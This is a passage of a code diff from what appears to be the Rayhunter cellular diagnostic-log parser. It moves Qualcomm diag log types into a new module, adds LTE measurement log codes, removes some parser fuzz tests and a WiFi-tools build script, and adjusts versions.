+        rrc_rel_min: u8,
+        nr_rrc_rel_maj: u8,
+        nr_rrc_rel_min: u8,
+        bearer_id: u8,
+        phy_cell_id: u16,
+        earfcn: u32,
+        sfn_subfn: u16,
+        pdu_num: u8,
+        sib_mask: u32,
+        len: u16,
+        #[deku(count = "len")]
+        packet: Vec<u8>,
+    },
+}
+
+impl LteRrcOtaPacket {
+    fn get_sfn_subfn(&self) -> u16 {
+        match self {
+            LteRrcOtaPacket::V0 { sfn_subfn, .. } => *sfn_subfn,
+            LteRrcOtaPacket::V5 { sfn_subfn, .. } => *sfn_subfn,
+            LteRrcOtaPacket::V8 { sfn_subfn, .. } => *sfn_subfn,
+            LteRrcOtaPacket::V25 { sfn_subfn, .. } => *sfn_subfn,
+        }
+    }
+    pub fn get_sfn(&self) -> u32 {
+        self.get_sfn_subfn() as u32 >> 4
+    }
+
+    pub fn get_subfn(&self) -> u8 {
+        (self.get_sfn_subfn() & 0xf) as u8
+    }
+
+    pub fn get_pdu_num(&self) -> u8 {
+        match self {
+            LteRrcOtaPacket::V0 { pdu_num, .. } => *pdu_num,
+            LteRrcOtaPacket::V5 { pdu_num, .. } => *pdu_num,
+            LteRrcOtaPacket::V8 { pdu_num, .. } => *pdu_num,
+            LteRrcOtaPacket::V25 { pdu_num, .. } => *pdu_num,
+        }
+    }
+
+    pub fn get_earfcn(&self) -> u32 {
+        match self {
+            LteRrcOtaPacket::V0 { earfcn, .. } => *earfcn as u32,
+            LteRrcOtaPacket::V5 { earfcn, .. } => *earfcn as u32,
+            LteRrcOtaPacket::V8 { earfcn, .. } => *earfcn,
+            LteRrcOtaPacket::V25 { earfcn, .. } => *earfcn,
+        }
+    }
+
+    pub fn take_payload(self) -> Vec<u8> {
+        match self {
+            LteRrcOtaPacket::V0 { packet, .. } => packet,
+            LteRrcOtaPacket::V5 { packet, .. } => packet,
+            LteRrcOtaPacket::V8 { packet, .. } => packet,
+            LteRrcOtaPacket::V25 { packet, .. } => packet,
+        }
+    }
+}
--- a/lib/src/diag/mod.rs
+++ b/lib/src/diag/mod.rs
@@ -1,6 +1,5 @@
 //! Diag protocol serialization/deserialization

-use chrono::{DateTime, FixedOffset};
 use crc::{Algorithm, Crc};
 use deku::prelude::*;

@@ -8,6 +7,10 @@ use crate::hdlc::{self, hdlc_decapsulate};
 use log::warn;
 use thiserror::Error;

+pub mod diaglog;
+
+use diaglog::{LogBody, Timestamp};
+
 pub const MESSAGE_TERMINATOR: u8 = 0x7e;
 pub const MESSAGE_ESCAPE_CHAR: u8 = 0x7d;

@@ -152,218 +155,6 @@ pub enum Message {
    },
 }

-#[derive(Debug, Clone, PartialEq, DekuRead, DekuWrite)]
-#[deku(ctx = "log_type: u16, hdr_len: u16", id = "log_type")]
-pub enum LogBody {
-    #[deku(id = "0x412f")]
-    WcdmaSignallingMessage {
-        channel_type: u8,
-        radio_bearer: u8,
-        length: u16,
-        #[deku(count = "length")]
-        msg: Vec<u8>,
-    },
-    #[deku(id = "0x512f")]
-    GsmRrSignallingMessage {
-        channel_type: u8,
-        message_type: u8,
-        length: u8,
-        #[deku(count = "length")]
-        msg: Vec<u8>,
-    },
-    #[deku(id = "0x5226")]
-    GprsMacSignallingMessage {
-        channel_type: u8,
-        message_type: u8,
-        length: u8,
-        #[deku(count = "length")]
-        msg: Vec<u8>,
-    },
-    #[deku(id = "0xb0c0")]
-    LteRrcOtaMessage {
-        ext_header_version: u8,
-        #[deku(ctx = "*ext_header_version")]
-        packet: LteRrcOtaPacket,
-    },
-    // the four NAS command opcodes refer to:
-    // * 0xb0e2: plain ESM NAS message (incoming)
-    // * 0xb0e3: plain ESM NAS message (outgoing)
-    // * 0xb0ec: plain EMM NAS message (incoming)
-    // * 0xb0ed: plain EMM NAS message (outgoing)
-    #[deku(id_pat = "0xb0e2 | 0xb0e3 | 0xb0ec | 0xb0ed")]
-    Nas4GMessage {
-        #[deku(skip, default = "log_type")]
-        log_type: u16,
-        #[deku(ctx = "*log_type")]
-        direction: Nas4GMessageDirection,
-        ext_header_version: u8,
-        rrc_rel: u8,
-        rrc_version_minor: u8,
-        rrc_version_major: u8,
-        // message length = hdr_len - (sizeof(ext_header_version) + sizeof(rrc_rel) + sizeof(rrc_version_minor) + sizeof(rrc_version_major))
-        #[deku(count = "hdr_len.saturating_sub(4)")]
-        msg: Vec<u8>,
-    },
-    #[deku(id = "0x11eb")]
-    IpTraffic {
-        // is this right?? based on https://github.com/P1sec/QCSuper/blob/81dbaeee15ec7747e899daa8e3495e27cdcc1264/src/modules/pcap_dump.py#L378
-        #[deku(count = "hdr_len.saturating_sub(8)")]
-        msg: Vec<u8>,
-    },
-    #[deku(id = "0x713a")]
-    UmtsNasOtaMessage {
-        is_uplink: u8,
-        length: u32,
-        #[deku(count = "length")]
-        msg: Vec<u8>,
-    },
-    #[deku(id = "0xb821")]
-    NrRrcOtaMessage {
-        #[deku(count = "hdr_len")]
-        msg: Vec<u8>,
-    },
-}
-
-#[derive(Debug, Clone, PartialEq, DekuRead, DekuWrite)]
-#[deku(ctx = "log_type: u16", id = "log_type")]
-pub enum Nas4GMessageDirection {
-    // * 0xb0e2: plain ESM NAS message (incoming)
-    // * 0xb0e3: plain ESM NAS message (outgoing)
-    // * 0xb0ec: plain EMM NAS message (incoming)
-    // * 0xb0ed: plain EMM NAS message (outgoing)
-    #[deku(id_pat = "0xb0e2 | 0xb0ec")]
-    Downlink,
-    #[deku(id_pat = "0xb0e3 | 0xb0ed")]
-    Uplink,
-}
-
-#[derive(Debug, Clone, PartialEq, DekuRead, DekuWrite)]
-#[deku(ctx = "ext_header_version: u8", id = "ext_header_version")]
-pub enum LteRrcOtaPacket {
-    #[deku(id_pat = "0..=4")]
-    V0 {
-        rrc_rel_maj: u8,
-        rrc_rel_min: u8,
-        bearer_id: u8,
-        phy_cell_id: u16,
-        earfcn: u16,
-        sfn_subfn: u16,
-        pdu_num: u8,
-        len: u16,
-        #[deku(count = "len")]
-        packet: Vec<u8>,
-    },
-    #[deku(id_pat = "5..=7")]
-    V5 {
-        rrc_rel_maj: u8,
-        rrc_rel_min: u8,
-        bearer_id: u8,
-        phy_cell_id: u16,
-        earfcn: u16,
-        sfn_subfn: u16,
-        pdu_num: u8,
-        sib_mask: u32,
-        len: u16,
-        #[deku(count = "len")]
-        packet: Vec<u8>,
-    },
-    #[deku(id_pat = "8..=24")]
-    V8 {
-        rrc_rel_maj: u8,
-        rrc_rel_min: u8,
-        bearer_id: u8,
-        phy_cell_id: u16,
-        earfcn: u32,
-        sfn_subfn: u16,
-        pdu_num: u8,
-        sib_mask: u32,
-        len: u16,
-        #[deku(count = "len")]
-        packet: Vec<u8>,
-    },
-    #[deku(id_pat = "25..")]
-    V25 {
-        rrc_rel_maj: u8,
-        rrc_rel_min: u8,
-        nr_rrc_rel_maj: u8,
-        nr_rrc_rel_min: u8,
-        bearer_id: u8,
-        phy_cell_id: u16,
-        earfcn: u32,
-        sfn_subfn: u16,
-        pdu_num: u8,
-        sib_mask: u32,
-        len: u16,
-        #[deku(count = "len")]
-        packet: Vec<u8>,
-    },
-}
-
-impl LteRrcOtaPacket {
-    fn get_sfn_subfn(&self) -> u16 {
-        match self {
-            LteRrcOtaPacket::V0 { sfn_subfn, .. } => *sfn_subfn,
-            LteRrcOtaPacket::V5 { sfn_subfn, .. } => *sfn_subfn,
-            LteRrcOtaPacket::V8 { sfn_subfn, .. } => *sfn_subfn,
-            LteRrcOtaPacket::V25 { sfn_subfn, .. } => *sfn_subfn,
-        }
-    }
-    pub fn get_sfn(&self) -> u32 {
-        self.get_sfn_subfn() as u32 >> 4
-    }
-
-    pub fn get_subfn(&self) -> u8 {
-        (self.get_sfn_subfn() & 0xf) as u8
-    }
-
-    pub fn get_pdu_num(&self) -> u8 {
-        match self {
-            LteRrcOtaPacket::V0 { pdu_num, .. } => *pdu_num,
-            LteRrcOtaPacket::V5 { pdu_num, .. } => *pdu_num,
-            LteRrcOtaPacket::V8 { pdu_num, .. } => *pdu_num,
-            LteRrcOtaPacket::V25 { pdu_num, .. } => *pdu_num,
-        }
-    }
-
-    pub fn get_earfcn(&self) -> u32 {
-        match self {
-            LteRrcOtaPacket::V0 { earfcn, .. } => *earfcn as u32,
-            LteRrcOtaPacket::V5 { earfcn, .. } => *earfcn as u32,
-            LteRrcOtaPacket::V8 { earfcn, .. } => *earfcn,
-            LteRrcOtaPacket::V25 { earfcn, .. } => *earfcn,
-        }
-    }
-
-    pub fn take_payload(self) -> Vec<u8> {
-        match self {
-            LteRrcOtaPacket::V0 { packet, .. } => packet,
-            LteRrcOtaPacket::V5 { packet, .. } => packet,
-            LteRrcOtaPacket::V8 { packet, .. } => packet,
-            LteRrcOtaPacket::V25 { packet, .. } => packet,
-        }
-    }
-}
-
-#[derive(Debug, Clone, PartialEq, DekuRead, DekuWrite)]
-#[deku(endian = "little")]
-pub struct Timestamp {
-    pub ts: u64,
-}
-
-impl Timestamp {
-    pub fn to_datetime(&self) -> DateTime<FixedOffset> {
-        // Upper 48 bits: epoch at 1980-01-06 00:00:00, incremented by 1 for 1/800s
-        // Lower 16 bits: time since last 1/800s tick in 1/32 chip units
-        let ts_upper = self.ts >> 16;
-        let ts_lower = self.ts & 0xffff;
-        let epoch = chrono::DateTime::parse_from_rfc3339("1980-01-06T00:00:00-00:00").unwrap();
-        let mut delta_seconds = ts_upper as f64 * 1.25;
-        delta_seconds += ts_lower as f64 / 40960.0;
-        let ts_delta = chrono::Duration::milliseconds(delta_seconds as i64);
-        epoch + ts_delta
-    }
-}
-
 #[derive(Debug, Clone, PartialEq, DekuRead, DekuWrite)]
 #[deku(ctx = "opcode: u32, subopcode: u32", id = "opcode")]
 pub enum ResponsePayload {
@@ -478,42 +269,6 @@ mod test {
        );
    }

-    #[test]
-    fn test_logs() {
-        let data = vec![
-            16, 0, 38, 0, 38, 0, 192, 176, 26, 165, 245, 135, 118, 35, 2, 1, 20, 14, 48, 0, 160, 0,
-            2, 8, 0, 0, 217, 15, 5, 0, 0, 0, 0, 7, 0, 64, 1, 238, 173, 213, 77, 208,
-        ];
-        let msg = Message::from_bytes((&data, 0)).unwrap().1;
-        assert_eq!(
-            msg,
-            Message::Log {
-                pending_msgs: 0,
-                outer_length: 38,
-                inner_length: 38,
-                log_type: 0xb0c0,
-                timestamp: Timestamp {
-                    ts: 72659535985485082
-                },
-                body: LogBody::LteRrcOtaMessage {
-                    ext_header_version: 20,
-                    packet: LteRrcOtaPacket::V8 {
-                        rrc_rel_maj: 14,
-                        rrc_rel_min: 48,
-                        bearer_id: 0,
-                        phy_cell_id: 160,
-                        earfcn: 2050,
-                        sfn_subfn: 4057,
-                        pdu_num: 5,
-                        sib_mask: 0,
-                        len: 7,
-                        packet: vec![0x40, 0x1, 0xee, 0xad, 0xd5, 0x4d, 0xd0],
-                    },
-                },
-            }
-        );
-    }
-
    fn make_container(data_type: DataType, message: HdlcEncapsulatedMessage) -> MessagesContainer {
        MessagesContainer {
            data_type,
@@ -537,7 +292,7 @@ mod test {
            },
            body: LogBody::LteRrcOtaMessage {
                ext_header_version: 20,
-                packet: LteRrcOtaPacket::V8 {
+                packet: diaglog::rrc::LteRrcOtaPacket::V8 {
                    rrc_rel_maj: 14,
                    rrc_rel_min: 48,
                    bearer_id: 0,
@@ -619,50 +374,6 @@ mod test {
        ));
    }

-    #[test]
-    fn test_fuzz_crash_inner_length_underflow() {
-        // Regression test: inner_length < 12 previously caused panic.
-        // Fixed by using saturating_sub in Message::Log body length calculation.
-        let fuzz_data = b"\x10\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00";
-        let _ = Message::from_bytes((fuzz_data, 0));
-    }
-
-    #[test]
-    fn test_fuzz_crash_nas_hdr_len_underflow() {
-        // Regression test for two things:
-        // - hdr_len < 4 previously caused panic in Nas4GMessage.
-        // - Upgrading to deku 0.20 caused incorrect parsing behavior (double-read of discriminant)
-        let nas_msg =
-            b"\x10\x00\x14\x00\x02\x00\xe2\xb0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00";
-
-        let ((rest, _), msg) = Message::from_bytes((nas_msg, 0)).unwrap();
-
-        assert_eq!(rest.len(), 0);
-        assert!(
-            matches!(
-                msg,
-                Message::Log {
-                    log_type: 0xb0e2,
-                    body: LogBody::Nas4GMessage {
-                        direction: Nas4GMessageDirection::Downlink,
-                        ..
-                    },
-                    ..
-                }
-            ),
-            "Unexpected message: {:?}",
-            msg
-        );
-    }
-
-    #[test]
-    fn test_fuzz_crash_ip_traffic_hdr_len_underflow() {
-        // Regression test: hdr_len < 8 previously caused panic in IpTraffic.
-        // Fixed by using saturating_sub for msg length calculation.
-        let ip_msg = b"\x10\x00\x14\x00\x02\x00\xeb\x11\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00";
-        let _ = Message::from_bytes((ip_msg, 0));
-    }
-
    #[test]
    fn test_fuzz_crash_response_opcode_parsing() {
        // Regression test: Upgrading to deku 0.20 caused incorrect parsing of Response messages.
--- a/lib/src/diag_device.rs
+++ b/lib/src/diag_device.rs
@@ -40,7 +40,7 @@ pub enum DiagDeviceError {
    ParseMessagesContainerError(deku::DekuError),
 }

-pub const LOG_CODES_FOR_RAW_PACKET_LOGGING: [u32; 11] = [
+pub const LOG_CODES_FOR_RAW_PACKET_LOGGING: [u32; 14] = [
    // Layer 2:
    log_codes::LOG_GPRS_MAC_SIGNALLING_MESSAGE_C, // 0x5226
    // Layer 3:
@@ -56,6 +56,10 @@ pub const LOG_CODES_FOR_RAW_PACKET_LOGGING: [u32; 11] = [
    log_codes::LOG_LTE_NAS_EMM_OTA_OUT_MSG_LOG_C,     // 0xb0ed
    // User IP traffic:
    log_codes::LOG_DATA_PROTOCOL_LOGGING_C, // 0x11eb
+    // Statistics
+    log_codes::LOG_LTE_ML1_SERVING_CELL_MEAS_RESP_AND_EVAL, // 0xb17f
+    log_codes::LOG_LTE_ML1_SERVING_CELL_MEAS_RESPONSE, // 0xb193
+    log_codes::LOG_LTE_ML1_NEIGHBOR_MEAS, // 0xb180
 ];

 const BUFFER_LEN: usize = 1024 * 1024 * 10;
--- a/lib/src/gsmtap_parser.rs
+++ b/lib/src/gsmtap_parser.rs
@@ -1,7 +1,8 @@
-use crate::diag::*;
-use crate::gsmtap::*;
+use crate::diag::Message;
+use crate::diag::diaglog::{Timestamp, LogBody, Nas4GMessageDirection};
+use crate::gsmtap::{GsmtapHeader, GsmtapMessage, GsmtapType, LteNasSubtype, LteRrcSubtype};

-use log::error;
+use log::debug;
 use thiserror::Error;

 #[derive(Debug, Error)]
@@ -153,7 +154,7 @@ fn log_to_gsmtap(value: LogBody) -> Result<Option<GsmtapMessage>, GsmtapParserEr
            }))
        }
        _ => {
-            error!("gsmtap_sink: ignoring unhandled log type: {value:?}");
+            debug!("gsmtap_sink: ignoring unhandled log type: {value:?}");
            Ok(None)
        }
    }
--- a/lib/src/lib.rs
+++ b/lib/src/lib.rs
@@ -29,10 +29,8 @@ pub mod diag_device;
 // re-export telcom_parser, since we use its types in our API
 pub use telcom_parser;

-/// A list of the internal names of currently implemented devices
 #[derive(PartialEq, Debug, Clone, Deserialize, Serialize)]
 #[serde(rename_all = "lowercase")]
-#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
 pub enum Device {
    Orbic,
    Tplink,
@@ -40,5 +38,4 @@ pub enum Device {
    Wingtech,
    Pinephone,
    Uz801,
-    Moxee,
 }
--- a/lib/src/log_codes.rs
+++ b/lib/src/log_codes.rs
@@ -103,3 +103,7 @@ pub const WCDMA_SIGNALLING_MESSAGE: u32 = 0x412f;
 pub const LOG_DATA_PROTOCOL_LOGGING_C: u32 = 0x11eb;

 pub const LOG_UMTS_NAS_OTA_MESSAGE_LOG_PACKET_C: u32 = 0x713a;
+
+pub const LOG_LTE_ML1_SERVING_CELL_MEAS_RESP_AND_EVAL: u32 = 0xb17f;
+pub const LOG_LTE_ML1_SERVING_CELL_MEAS_RESPONSE: u32 = 0xb193;
+pub const LOG_LTE_ML1_NEIGHBOR_MEAS: u32 = 0xb180;
--- a/lib/src/pcap.rs
+++ b/lib/src/pcap.rs
@@ -1,6 +1,6 @@
 //! Parse QMDL files and create a pcap file.
 //! Creates a plausible IP header and [GSMtap](https://osmocom.org/projects/baseband/wiki/GSMTAP) header and then puts the rest of the data under that for wireshark to parse.
-use crate::diag::Timestamp;
+use crate::diag::diaglog::Timestamp;
 use crate::gsmtap::GsmtapMessage;

 use chrono::prelude::*;
--- a/lib/src/util.rs
+++ b/lib/src/util.rs
@@ -5,7 +5,6 @@ use nix::sys::utsname::uname;

 /// Expose binary and system information.
 #[derive(Serialize, Deserialize, Debug)]
-#[cfg_attr(feature = "apidocs", derive(utoipa::ToSchema))]
 pub struct RuntimeMetadata {
    /// The cargo package version from this library's cargo.toml, e.g., "1.2.3".
    pub rayhunter_version: String,
--- a/lib/tests/test_lte_parsing.rs
+++ b/lib/tests/test_lte_parsing.rs
@@ -1,6 +1,7 @@
 use deku::prelude::*;
 use rayhunter::{
-    diag::{LogBody, LteRrcOtaPacket, Message, Timestamp},
+    diag::Message,
+    diag::diaglog::{LogBody, rrc::LteRrcOtaPacket, Timestamp},
    gsmtap_parser,
 };

--- a/rootshell/Cargo.toml
+++ b/rootshell/Cargo.toml
@@ -1,6 +1,6 @@
 [package]
 name = "rootshell"
-version = "0.10.2"
+version = "0.10.1"
 edition = "2024"

 # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
--- a/scripts/build-dev.sh
+++ b/scripts/build-dev.sh
@@ -43,25 +43,6 @@ build_frontend() {
    popd > /dev/null
 }

-build_wifi_tools() {
-    if [ -f "tools/build-wpa-supplicant/out/wpa_supplicant" ] \
-        && [ -f "tools/build-wpa-supplicant/out/wpa_cli" ] \
-        && [ -f "tools/build-wpa-supplicant/out/iw" ]; then
-        echo "WiFi tools already built, skipping."
-        return
-    fi
-
-    if ! command -v arm-linux-musleabihf-gcc &> /dev/null; then
-        echo "Error: arm-linux-musleabihf-gcc not found."
-        echo "Install with: brew install FiloSottile/musl-cross/musl-cross"
-        echo "(Required because the installer bundles wpa_supplicant, wpa_cli, and iw for orbic-family devices.)"
-        exit 1
-    fi
-
-    echo "Building WiFi tools..."
-    ./scripts/build-wpa-supplicant.sh
-}
-
 build_daemon() {
    echo "Building daemon..."
    cargo build-daemon-firmware-devel
@@ -76,7 +57,6 @@ case "$COMMAND" in
    build)
        check_dependencies
        build_frontend
-        build_wifi_tools
        build_daemon
        echo ""
        echo "Build complete! To install to a device, run:"
--- a/scripts/build-wpa-supplicant.sh
+++ b/scripts/build-wpa-supplicant.sh
@@ -1,93 +0,0 @@
-#!/bin/bash
-# Cross-compile wpa_supplicant, wpa_cli, and iw for ARMv7 (musl static).
-# Output: tools/build-wpa-supplicant/out/{wpa_supplicant,wpa_cli,iw}
-#
-# Requires: arm-linux-musleabihf-gcc (brew install FiloSottile/musl-cross/musl-cross)
-set -e
-
-WPA_VERSION="2.11"
-WPA_URL="https://w1.fi/releases/wpa_supplicant-${WPA_VERSION}.tar.gz"
-LIBNL_VERSION="3.11.0"
-LIBNL_URL="https://github.com/thom311/libnl/releases/download/libnl${LIBNL_VERSION//\./_}/libnl-${LIBNL_VERSION}.tar.gz"
-IW_VERSION="6.9"
-IW_URL="https://www.kernel.org/pub/software/network/iw/iw-${IW_VERSION}.tar.xz"
-
-SCRIPT_DIR="$(cd "$(dirname "$0")" && pwd)"
-OUT_DIR="$SCRIPT_DIR/../tools/build-wpa-supplicant/out"
-BUILD_DIR="/tmp/wpa-supplicant-build-$$"
-
-CC="${CC:-arm-linux-musleabihf-gcc}"
-STRIP="${STRIP:-arm-linux-musleabihf-strip}"
-HOST="${HOST:-arm-linux-musleabihf}"
-
-if ! command -v "$CC" >/dev/null 2>&1; then
-    echo "Error: $CC not found. Install with: brew install FiloSottile/musl-cross/musl-cross"
-    exit 1
-fi
-
-mkdir -p "$BUILD_DIR" "$OUT_DIR"
-SYSROOT="$BUILD_DIR/sysroot"
-mkdir -p "$SYSROOT"
-
-echo "Building libnl ${LIBNL_VERSION}..."
-curl -Lf "$LIBNL_URL" | tar xz -C "$BUILD_DIR"
-cd "$BUILD_DIR/libnl-${LIBNL_VERSION}"
-./configure \
-    --host="$HOST" \
-    CC="$CC" \
-    --prefix="$SYSROOT" \
-    --enable-static \
-    --disable-shared \
-    --disable-cli \
-    --disable-debug \
-    > /dev/null 2>&1
-make -j"$(nproc 2>/dev/null || sysctl -n hw.ncpu)" > /dev/null 2>&1
-make install > /dev/null 2>&1
-
-echo "Building wpa_supplicant ${WPA_VERSION}..."
-cd "$BUILD_DIR"
-curl -Lf "$WPA_URL" | tar xz
-cd "wpa_supplicant-${WPA_VERSION}/wpa_supplicant"
-
-cat > .config <<'WPACONF'
-CONFIG_DRIVER_NL80211=y
-CONFIG_LIBNL32=y
-CONFIG_CRYPTO=internal
-CONFIG_TLS=internal
-CONFIG_INTERNAL_LIBTOMMATH=y
-CONFIG_INTERNAL_LIBTOMMATH_FAST=y
-CONFIG_CTRL_IFACE=y
-CONFIG_BACKEND=file
-CONFIG_NO_CONFIG_WRITE=y
-CONFIG_NO_RANDOM_POOL=y
-CONFIG_GETRANDOM=y
-WPACONF
-
-NL_CFLAGS="-I${SYSROOT}/include/libnl3"
-NL_LIBS="-L${SYSROOT}/lib -lnl-genl-3 -lnl-3 -lpthread -lm"
-
-make CC="$CC" \
-    EXTRA_CFLAGS="$NL_CFLAGS" \
-    LDFLAGS="-static" \
-    LIBS="$NL_LIBS" \
-    -j"$(nproc 2>/dev/null || sysctl -n hw.ncpu)"
-
-echo "Stripping..."
-$STRIP wpa_supplicant wpa_cli
-cp wpa_supplicant wpa_cli "$OUT_DIR/"
-
-echo "Building iw ${IW_VERSION}..."
-cd "$BUILD_DIR"
-curl -Lf "$IW_URL" | tar xJ
-cd "iw-${IW_VERSION}"
-PKG_CONFIG_LIBDIR="$SYSROOT/lib/pkgconfig" \
-make CC="$CC" \
-    LDFLAGS="-static" \
-    -j"$(nproc 2>/dev/null || sysctl -n hw.ncpu)"
-$STRIP iw
-cp iw "$OUT_DIR/"
-
-rm -rf "$BUILD_DIR"
-
-echo "Done. Binaries in $OUT_DIR:"
-ls -lh "$OUT_DIR"/{wpa_supplicant,wpa_cli,iw}
--- a/telcom-parser/Cargo.toml
+++ b/telcom-parser/Cargo.toml
@@ -1,6 +1,6 @@
 [package]
 name = "telcom-parser"
-version = "0.10.2"
+version = "0.10.1"
 edition = "2024"

 # See more keys and their definitions at https://doc.rust-lang.org/cargo/reference/manifest.html
--- a/Show More
+++ b/Show More